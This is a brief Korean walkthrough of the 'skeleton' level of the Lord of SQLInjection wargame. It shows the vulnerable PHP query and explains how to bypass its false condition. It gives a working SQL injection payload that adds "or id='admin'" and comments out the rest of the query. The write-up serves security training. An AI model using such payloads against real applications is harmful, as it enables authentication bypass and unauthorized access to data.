> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-skeleton.md).
# \[Lord Of SQLInjection] skeleton
→ 평문 작성을 위해 작성해야할 쿼리를 고려해야한다.
```
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
```
```
if($result['id']=='admin') solve("skeleton");
```
→ 해석해보면 id값은 guest로 고정이 되어있고, pw는 입력 받은 값이며, and 1=0까지 참이 되도록 해야된다.
→ 그럼에도 결과는 id값이 admin이어야 문제가 해결되는 것을 알 수 있다.
→ 그럼, id를 admin으로 만들고 and 1=0(거짓 조건)을 주석 처리(')하면 된다.
```
[도메인값]??pw=' or id='admin'%23
```
---
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